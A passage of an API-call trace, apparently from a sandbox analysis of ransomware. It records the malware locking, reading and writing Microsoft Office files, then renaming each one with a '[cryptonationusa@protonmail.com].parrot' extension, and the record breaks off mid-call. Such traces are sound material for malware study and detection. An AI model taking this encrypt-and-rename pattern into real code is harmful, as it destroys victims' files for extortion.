1 [0181.075] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.076] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.076] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xd3, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xd3, lpOverlapped=0x0) returned 1 [0181.077] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.077] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1eb, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.077] CloseHandle (hObject=0x27c) returned 1 [0181.077] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3808 | out: hHeap=0x5b0000) returned 1 [0181.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.082] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x647228 | out: hHeap=0x5b0000) returned 1 [0181.084] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18a, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.084] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.084] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.085] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.085] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0181.086] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.086] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.086] CloseHandle (hObject=0x27c) returned 1 [0181.086] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3808 | out: hHeap=0x5b0000) returned 1 [0181.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.089] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b2738 | out: hHeap=0x5b0000) returned 1 [0181.091] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x189, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.091] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.091] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.092] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.092] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0181.092] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.093] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.093] CloseHandle (hObject=0x27c) returned 1 [0181.093] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.DEV_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.dev_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.097] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3808 | out: hHeap=0x5b0000) returned 1 [0181.097] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.097] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b2738 | out: hHeap=0x5b0000) returned 1 [0181.099] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4ff6fd, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.099] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.099] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.100] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.101] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0181.134] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.134] WriteFile (in: hFile=0x27c, lpBuffer=0x6a3268*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x6a3268*, lpNumberOfBytesWritten=0x18eed4*=0x118, lpOverlapped=0x0) returned 1 [0181.137] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.137] WriteFile (in: hFile=0x27c, lpBuffer=0x2e80040*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2e80040*, lpNumberOfBytesWritten=0x18eed4*=0x100000, lpOverlapped=0x0) returned 1 [0181.140] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4ff6fd, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.140] CloseHandle (hObject=0x27c) returned 1 [0181.140] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD.HXS.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword.hxs.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0181.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.145] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0181.152] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x38f, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.152] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.152] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.154] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.154] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x277, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x277, lpOverlapped=0x0) returned 1 [0181.154] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.154] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x38f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.154] CloseHandle (hObject=0x27c) returned 1 [0181.155] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXC.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxc.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0181.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.158] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0181.161] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1e7, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.161] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.161] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.161] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.162] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcf, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcf, lpOverlapped=0x0) returned 1 [0181.162] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.162] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1e7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.162] CloseHandle (hObject=0x27c) returned 1 [0181.162] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0181.165] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.166] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0181.167] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x18a, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.168] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.168] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.168] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.169] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x72, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x72, lpOverlapped=0x0) returned 1 [0181.169] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.169] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x18a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.169] CloseHandle (hObject=0x27c) returned 1 [0181.169] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3808 | out: hHeap=0x5b0000) returned 1 [0181.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.172] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b2738 | out: hHeap=0x5b0000) returned 1 [0181.174] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x189, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.174] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.174] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.175] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.175] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x71, lpOverlapped=0x0) returned 1 [0181.175] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.176] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x189, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.176] CloseHandle (hObject=0x27c) returned 1 [0181.176] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3808 | out: hHeap=0x5b0000) returned 1 [0181.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.179] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b2738 | out: hHeap=0x5b0000) returned 1 [0181.181] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa678, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.181] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.181] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.182] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.182] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa560, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa560, lpOverlapped=0x0) returned 1 [0181.188] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.189] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa678, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.189] CloseHandle (hObject=0x27c) returned 1 [0181.189] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2257b90 | out: hHeap=0x5b0000) returned 1 [0181.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.192] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0181.195] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1a898, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.195] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.195] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.196] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.196] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a780, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a780, lpOverlapped=0x0) returned 1 [0181.200] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.202] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1a898, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.202] CloseHandle (hObject=0x27c) returned 1 [0181.202] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.DLL.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.dll.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.205] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3808 | out: hHeap=0x5b0000) returned 1 [0181.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.206] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3238008 | out: hHeap=0x5b0000) returned 1 [0181.208] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x96298, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.208] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.208] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.209] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.209] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x96180, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x96180, lpOverlapped=0x0) returned 1 [0181.266] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.293] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x96298, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.293] CloseHandle (hObject=0x27c) returned 1 [0181.294] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WWINTL.REST.IDX_DLL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wwintl.rest.idx_dll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0181.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d3808 | out: hHeap=0x5b0000) returned 1 [0181.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0181.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2e80020 | out: hHeap=0x5b0000) returned 1 [0181.317] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x35f0, nNumberOfBytesToLockHigh=0x0) returned 1 [0181.317] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0181.317] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0181.319] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.319] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34d8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x34d8, lpOverlapped=0x0) returned 1 [0181.320] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.323] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x35f0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0181.323] CloseHandle (hObject=0x288) returned 1 [0181.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\wzcnflct.chm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WZCNFLCT.CHM.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft 